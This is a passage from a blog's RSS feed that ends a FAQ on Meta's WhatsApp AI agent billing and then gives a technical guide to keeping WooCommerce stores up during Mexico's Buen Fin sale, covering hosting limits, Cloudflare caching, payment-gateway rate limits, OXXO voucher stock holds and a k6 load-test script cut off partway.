Meta can close accounts that break its terms, and it decides at its sole discretion where AI stops being ancillary and becomes the primary functionality. A bot that serves customers about your business is on the allowed side; a number whose main offering is a general question-answering assistant is at risk. There are no documented public cases of business numbers suspended under this clause. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How much does Meta&amp;#39;s AI agent for businesses cost? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Meta Business Agent was announced on June 3, 2026 and getting started is free, but Meta has said access will move to subscriptions. On the API it has been billed since August 1, 2026 at $2 per million tokens, about 4 to 5 US cents per message according to Meta. The Meta One plan introduced on September 15 starts at $14.99 a month and includes more use of the agent; price and availability vary by region. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Are AI chatbot replies on WhatsApp billed? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; From October 1, 2026, yes, like any service message: Meta gives 1,000 free per phone number per month and charges the rest at each country&amp;#39;s utility rate. It makes no difference whether a person or an AI replies. If the account has no payment method, Meta stops delivering replies from the 1,001st of the month. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>News</category><category>WhatsApp</category><category>AI</category><category>Chatbots</category><category>Small Business</category><category>Meta</category><author>Marco Orta</author></item><item><title>Why Online Stores Crash During Mexico&apos;s Buen Fin (and How to Prevent It): The 2026 Technical Guide</title><link>https://ortamarco.me/en/blog/online-store-crash-buen-fin-mexico/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/online-store-crash-buen-fin-mexico/</guid><description>Shared hosting has a written ceiling, gateways rate-limit, and an OXXO cash voucher can lock stock for days. What to check before November 13 in Mexico.</description><pubDate>Mon, 21 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;El Buen Fin, Mexico’s answer to Black Friday, runs from Friday November 13 to Tuesday November 17, 2026. Almost everything published about getting a store ready for it is about banners, coupons and email. This guide is the other half: what breaks technically when the visitors you paid to attract all show up at once, and what to do beforehand. Nearly all of it is written down in your host’s, your payment gateway’s and your platform’s documentation, and almost nobody reads it until the store is already down.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Last year’s numbers show why it matters. According to Mexico’s &lt;a href=&quot;https://www.gob.mx/se/prensa/supera-la-meta-la-xv-edicion-de-el-buen-fin-2025?idiom=es-MX&quot;&gt;Ministry of Economy&lt;/a&gt;, the 2025 edition sold 219.2 billion pesos, and digital commerce was &lt;strong&gt;21% of the total, growing 31% year over year&lt;/strong&gt;. The &lt;a href=&quot;https://blog.amvo.org.mx/publicaciones/reporte-de-resultados-el-buen-fin-2025&quot;&gt;public AMVO report&lt;/a&gt; (Mexico’s online sales association) counted 1.686 billion page views on e-commerce sites and traffic &lt;strong&gt;56% higher&lt;/strong&gt; than the previous edition (which went from four days to five). The retailers’ association ANTAD reports that the last day alone took 26.1% of online sales. The peak doesn’t spread out: it arrives, and it arrives all at once.&lt;/p&gt;
&lt;p&gt;If you sell into Mexico from abroad, or build stores for Mexican clients, the local details are what catch people out: the cash-at-OXXO payment method, the Mexican shared-hosting plans small businesses actually run on, and a gateway landscape where Mercado Pago matters as much as Stripe. I’ve built WooCommerce stores with catalogues in the thousands, Mercado Pago payments and WhatsApp checkout. This is what I check on each one before a date like this, with a source for every limit.&lt;/p&gt;
&lt;h2 id=&quot;what-those-five-days-look-like&quot;&gt;What those five days look like&lt;/h2&gt;








































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Buen Fin 2025&lt;/th&gt;&lt;th&gt;Figure&lt;/th&gt;&lt;th&gt;Source&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Total sales&lt;/td&gt;&lt;td&gt;219.2 billion pesos&lt;/td&gt;&lt;td&gt;Ministry of Economy&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Online sales&lt;/td&gt;&lt;td&gt;21% of the total, +31% YoY (45.9 billion per AMVO)&lt;/td&gt;&lt;td&gt;Economy / AMVO&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Traffic to online stores&lt;/td&gt;&lt;td&gt;+56% over the 5 days, +24% on comparable days&lt;/td&gt;&lt;td&gt;AMVO (Similarweb data)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Average ticket&lt;/td&gt;&lt;td&gt;$1,063 MXN online vs $780 overall&lt;/td&gt;&lt;td&gt;Mexican Banking Association, cited by Economy&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;How people paid online&lt;/td&gt;&lt;td&gt;Credit 48%, debit 43%, store cards 17%, card-free instalments 12%, cash at retail chains 12%&lt;/td&gt;&lt;td&gt;AMVO&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Consumer agency complaints&lt;/td&gt;&lt;td&gt;220 filed, 205 settled; mostly unhonoured prices and refused delivery&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.gob.mx/profeco/prensa/profeco-intermedia-la-devolucion-de-mas-de-un-millon-de-pesos-a-personas-consumidoras-en-el-buen-fin?idiom=es-MX&quot;&gt;Profeco&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Two rows matter for the technical side. One in eight online buyers &lt;strong&gt;paid cash at a retail chain&lt;/strong&gt; (OXXO and similar), which has a consequence for your inventory that I explain below. And 37% of consumers, per the AIMX survey the ministry cites, &lt;strong&gt;fear a data leak&lt;/strong&gt;: an expired-certificate warning or a checkout page that looks off on your busiest day costs sales even if the site stays up.&lt;/p&gt;
&lt;p&gt;Not everything that fails is yours, either. During Buen Fin 2024, Santander and BBVA customers reported card payment failures; during Hot Sale in May 2026 BBVA confirmed on X that its systems were down, with over five hours of Downdetector reports. And on November 18, 2025, the day after Buen Fin ended, Cloudflare had &lt;a href=&quot;https://blog.cloudflare.com/18-november-2025-outage/&quot;&gt;a global outage&lt;/a&gt; of more than three hours. You can’t stop your customer’s bank from going down. You can have a second payment method ready when it does.&lt;/p&gt;
&lt;h2 id=&quot;1-shared-hosting-has-a-ceiling-and-its-in-writing&quot;&gt;1. Shared hosting has a ceiling, and it’s in writing&lt;/h2&gt;
&lt;p&gt;The shared hosting plan that costs a few hundred pesos a year isn’t “slow”: it has exact limits, and when you hit them it doesn’t slow down, &lt;strong&gt;it returns errors&lt;/strong&gt;. Hostinger publishes its limits on its &lt;a href=&quot;https://www.hostinger.com/support/6976044-parameters-and-limits-of-hosting-plans-in-hostinger/&quot;&gt;plan parameters page&lt;/a&gt; and says reaching them produces “503 – Service temporarily unavailable”:&lt;/p&gt;

































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Hostinger plan&lt;/th&gt;&lt;th&gt;CPU&lt;/th&gt;&lt;th&gt;RAM&lt;/th&gt;&lt;th&gt;Concurrent PHP workers&lt;/th&gt;&lt;th&gt;MySQL connections&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Web Single&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;1 GB&lt;/td&gt;&lt;td&gt;20&lt;/td&gt;&lt;td&gt;25&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Web Premium&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;2 GB&lt;/td&gt;&lt;td&gt;40&lt;/td&gt;&lt;td&gt;50&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Unlimited (formerly Business)&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;3 GB&lt;/td&gt;&lt;td&gt;60&lt;/td&gt;&lt;td&gt;75&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;HostGator Mexico puts it differently in &lt;a href=&quot;https://soporte.hostgator.mx/hc/es-419/articles/28440886639635&quot;&gt;its help centre&lt;/a&gt;: a cap of 25% CPU sustained for 90 seconds or more, and &lt;strong&gt;25 concurrent processes per cPanel account&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Do the maths with your own store. An uncached WooCommerce product page holds a PHP worker while it renders. If it takes one second and you have 20 workers, your ceiling is about 20 pages per second; visitor number 21 doesn’t wait in line, they get an error. That’s why caching, next, isn’t an optimization: it decides whether those limits ever reach you.&lt;/p&gt;
&lt;h2 id=&quot;2-caching-what-can-be-cached-and-what-cant&quot;&gt;2. Caching: what can be cached and what can’t&lt;/h2&gt;
&lt;p&gt;The idea is simple: most visitors, the ones just browsing, should get a prebuilt copy of the page and cost your server nothing. Only the cart, checkout and account pages need to reach the server every time.&lt;/p&gt;
&lt;p&gt;What almost nobody knows is that &lt;strong&gt;Cloudflare doesn’t cache HTML by default&lt;/strong&gt;, on free or paid plans. Its &lt;a href=&quot;https://developers.cloudflare.com/cache/concepts/default-cache-behavior/&quot;&gt;documentation&lt;/a&gt; is explicit: “The Cloudflare CDN does not cache HTML or JSON by default.” If you put your store behind Cloudflare and configured nothing else, images, CSS and JavaScript are cached, but every page still hits your host. The free plan gives you up to 10 Cache Rules and one is enough. This expression is for a Spanish-language WooCommerce store (adjust the paths to yours):&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;(http.host eq &amp;quot;tutienda.mx&amp;quot;
 and not starts_with(http.request.uri.path, &amp;quot;/wp-admin&amp;quot;)
 and not http.request.uri.path contains &amp;quot;/carrito&amp;quot;
 and not http.request.uri.path contains &amp;quot;/finalizar-compra&amp;quot;
 and not http.request.uri.path contains &amp;quot;/mi-cuenta&amp;quot;
 and not http.cookie contains &amp;quot;woocommerce_items_in_cart&amp;quot;
 and not http.cookie contains &amp;quot;wordpress_logged_in&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the “Eligible for cache” action and a short edge TTL (5 to 10 minutes), browsers get the cached copy, and anyone with something in the cart or a logged-in session goes straight to your server. Two warnings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Purge the cache when prices change.&lt;/strong&gt; If your discounts start at midnight on the 13th, a copy cached at 11:58 pm still shows the old price, and “the price wasn’t the advertised one” is among the complaints Profeco receives most. Purge when you switch the offers on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A cookie on every page breaks everything.&lt;/strong&gt; Cloudflare won’t cache a response carrying &lt;code&gt;Set-Cookie&lt;/code&gt;, and some plugins (currency switchers, geolocation, popups) send one on every visit. Check it like this:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-sI&lt;/span&gt; https://tutienda.mx/producto/tu-mas-vendido/ &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-iE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;set-cookie|cf-cache-status&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What you want to see, from the second request on, is &lt;code&gt;cf-cache-status: HIT&lt;/code&gt; and no &lt;code&gt;set-cookie&lt;/code&gt;. If you see &lt;code&gt;DYNAMIC&lt;/code&gt; or &lt;code&gt;BYPASS&lt;/code&gt;, that page is still hitting your server.&lt;/p&gt;
&lt;p&gt;Two things look like safety nets and aren’t. &lt;strong&gt;Always Online&lt;/strong&gt; is on every plan, but it only kicks in on 52x errors, serves Internet Archive snapshots and &lt;a href=&quot;https://developers.cloudflare.com/cache/how-to/always-online/&quot;&gt;can’t serve dynamic content&lt;/a&gt;: nobody checks out from an archived copy. And Cloudflare’s &lt;strong&gt;Waiting Room&lt;/strong&gt;, the virtual queue big retailers use, &lt;a href=&quot;https://developers.cloudflare.com/waiting-room/plans/&quot;&gt;only exists on Business and Enterprise plans&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;On WooCommerce, also check &lt;em&gt;cart fragments&lt;/em&gt;: the script that updates the cart counter by calling the server on every page. &lt;a href=&quot;https://developer.woocommerce.com/2023/06/16/best-practices-for-the-use-of-the-cart-fragments-api/&quot;&gt;WooCommerce acknowledges&lt;/a&gt; that on heavily trafficked stores “this could severely impact the load on the server”, and since version 7.8 it no longer loads on every page, but plenty of themes and plugins turn it back on. Open a product page with your browser’s dev tools and look for a request to &lt;code&gt;?wc-ajax=get_refreshed_fragments&lt;/code&gt;. If it fires on pages without a mini cart, that’s one server request per visit that caching can’t remove.&lt;/p&gt;
&lt;p&gt;And slim down your product photos: they’re most of a store’s page weight, and on mobile, where most Mexican shoppers buy, every megabyte shows.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #06b6d4&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#06b6d41a;color:#06b6d4&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; Image Compressor &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Compress and optimize JPG, PNG or WebP images without visible quality loss, with quality control, format change and resizing. All in your browser. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/image-compressor/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;compresor-imagenes&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;3-your-payment-gateway-has-a-limit-too&quot;&gt;3. Your payment gateway has a limit too&lt;/h2&gt;
&lt;p&gt;The server isn’t the only thing that can say no. Stripe publishes its &lt;a href=&quot;https://docs.stripe.com/rate-limits&quot;&gt;rate limits&lt;/a&gt;: &lt;strong&gt;100 requests per second&lt;/strong&gt; in live mode, with most individual endpoints capped at 25. And it says plainly that “a sudden increase in charge volume, such as a flash sale, might result in rate limiting”; if you expect a spike, it asks you to contact support &lt;strong&gt;beforehand&lt;/strong&gt;. Mercado Pago doesn’t publish a number, but its Orders API answers &lt;code&gt;429 Too Many Requests&lt;/code&gt; with a &lt;code&gt;Retry-After&lt;/code&gt; header when you exceed it.&lt;/p&gt;
&lt;p&gt;For a small business, 100 charges a second is plenty. The problem shows up when the integration makes several calls per purchase (create customer, create payment intent, poll status) or retries without backing off: a badly handled 429 becomes “we couldn’t process your payment” for a customer who had the funds.&lt;/p&gt;
&lt;p&gt;Bank verification (3-D Secure, the “confirm in your app” screen) changes the flow too. Mexico has no regulatory mandate for it, but Mercado Pago &lt;a href=&quot;https://www.mercadopago.com.mx/developers/es/docs/checkout-api-payments/how-tos/integrate-3ds&quot;&gt;recommends enabling it&lt;/a&gt; in optional mode, and when the bank asks for a challenge the payment sits in &lt;code&gt;pending&lt;/code&gt; with detail &lt;code&gt;pending_challenge&lt;/code&gt;. If your integration treats “pending” as “declined”, you’re cancelling good orders. AMVO lists “payment method rejected” among the barriers to buying online.&lt;/p&gt;
&lt;h2 id=&quot;4-the-problem-nobody-mentions-cash-at-oxxo-locks-your-inventory&quot;&gt;4. The problem nobody mentions: cash at OXXO locks your inventory&lt;/h2&gt;
&lt;p&gt;This is what worries me most for a store with limited stock, and I didn’t see it in any Buen Fin guide I read. When a customer chooses to pay cash, the gateway issues a voucher with an expiry date, and until they pay, the item is in limbo:&lt;/p&gt;

























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Gateway&lt;/th&gt;&lt;th&gt;Voucher validity&lt;/th&gt;&lt;th&gt;If they pay late&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Stripe (OXXO)&lt;/td&gt;&lt;td&gt;5 days by default, configurable from 1 to 7; confirmation arrives the next business day&lt;/td&gt;&lt;td&gt;The voucher expires (&lt;a href=&quot;https://docs.stripe.com/payments/oxxo&quot;&gt;docs&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mercado Pago (OXXO, Paycash)&lt;/td&gt;&lt;td&gt;Configurable from 1 to 30 days; they recommend 3. Crediting takes up to 2 business hours&lt;/td&gt;&lt;td&gt;“The amount will be refunded” (&lt;a href=&quot;https://www.mercadopago.com.mx/developers/es/docs/checkout-api-orders/payment-integration/other-payment-methods&quot;&gt;docs&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Conekta&lt;/td&gt;&lt;td&gt;Set by your integration with &lt;code&gt;expires_at&lt;/code&gt;; signalled by the &lt;code&gt;order.expired&lt;/code&gt; webhook&lt;/td&gt;&lt;td&gt;Up to your integration (&lt;a href=&quot;https://developers.conekta.com/docs/order&quot;&gt;docs&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Now the WooCommerce side. Its “Hold stock” setting reserves items for orders &lt;strong&gt;pending payment&lt;/strong&gt; for as long as you configure (60 minutes is the recommended value) and then cancels them, according to &lt;a href=&quot;https://woocommerce.com/document/managing-orders/troubleshooting-orders/&quot;&gt;its guide&lt;/a&gt;. But the same guide says delayed payment methods leave the order &lt;strong&gt;on hold&lt;/strong&gt;, where that automatic cancellation doesn’t apply. If your gateway plugin doesn’t cancel the order when the voucher expires, the item stays reserved for days by someone who may never pay, while you tell the customer holding a card that it’s sold out.&lt;/p&gt;
&lt;p&gt;Before the 13th:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Shorten voucher validity for the campaign.&lt;/strong&gt; One or two days instead of five or thirty.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check that your plugin cancels the order on expiry.&lt;/strong&gt; Place a test cash order with the minimum validity, don’t pay it, and check the next day that the order was cancelled and the stock came back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you sell over WhatsApp with payment links&lt;/strong&gt;, give them a short expiry. Clip, for example, lets a link &lt;a href=&quot;https://developer.clip.mx/discuss/6480ac8b182697101358f435&quot;&gt;expire the same day&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;5-overselling-two-people-buy-the-last-unit&quot;&gt;5. Overselling: two people buy the last unit&lt;/h2&gt;
&lt;p&gt;Since version 4.3, WooCommerce reserves stock during checkout to stop two simultaneous purchases taking the same unit (&lt;a href=&quot;https://github.com/woocommerce/woocommerce/pull/26395&quot;&gt;PR #26395&lt;/a&gt;). Even so, &lt;a href=&quot;https://github.com/woocommerce/woocommerce/issues/44273&quot;&gt;issue #44273&lt;/a&gt;, where the team confirms that “a race condition like this is possible”, is still open today. On a normal day it almost never happens. During Buen Fin, with hundreds of people on your best seller, is when it does.&lt;/p&gt;
&lt;p&gt;For low-stock products: keep a buffer (list 18 if you have 20), cap quantity per customer, and decide in advance what you’ll do if it happens, with an apology and a fast refund. Refused delivery was among the complaints that dominated Profeco’s 2025 figures. Shopify’s &lt;a href=&quot;https://help.shopify.com/en/manual/promoting-marketing/sales/flash-sales&quot;&gt;flash sale guide&lt;/a&gt; recommends switching to manual payment capture for the same reason: charge only for what you can actually ship.&lt;/p&gt;
&lt;h2 id=&quot;6-what-runs-in-the-background&quot;&gt;6. What runs in the background&lt;/h2&gt;
&lt;p&gt;Order confirmation emails, payment webhooks and stock updates in WooCommerce go through Action Scheduler, which by default &lt;a href=&quot;https://actionscheduler.org/perf/&quot;&gt;processes batches of 25 actions&lt;/a&gt; for 30 seconds, triggered by WP-Cron. And WP-Cron only runs when someone visits the site. With caching done right, hardly anyone reaches the server, and tasks can pile up. The result: customers who paid and don’t get their confirmation, and message you asking whether the order went through.&lt;/p&gt;
&lt;p&gt;The fix is a real server cron instead of the visit-driven one: set &lt;code&gt;DISABLE_WP_CRON&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; and schedule a call to &lt;code&gt;wp-cron.php&lt;/code&gt; every minute from your hosting panel. Almost every shared host allows it.&lt;/p&gt;
&lt;h2 id=&quot;7-test-it-first-with-fake-traffic&quot;&gt;7. Test it first with fake traffic&lt;/h2&gt;
&lt;p&gt;All of the above can be checked without waiting for the 13th. A load test simulates many visitors at once and shows you where errors start. Two free options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;k6&lt;/strong&gt;, by Grafana: free on your own machine, and its free cloud tier includes &lt;a href=&quot;https://grafana.com/pricing/&quot;&gt;500 virtual user hours a month&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Loader.io&lt;/strong&gt;: the free plan allows &lt;a href=&quot;https://loader.io/pricing&quot;&gt;10,000 clients per test&lt;/a&gt; for one minute, run from US data centres.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A minimal k6 script that visits the home page and your best seller:&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot; data-language=&quot;javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; http &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;k6/http&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; check&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sleep &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;k6&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; options &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;stages&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;duration&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;2m&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ramp to 50 concurrent visitors&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;duration&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;5m&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// hold&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;duration&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;1m&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;thresholds&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;http_req_failed&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;rate&amp;lt;0.01&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;// under 1% errors&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;http_req_duration&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;p(95)&amp;lt;2000&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// 95% under 2 seconds&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
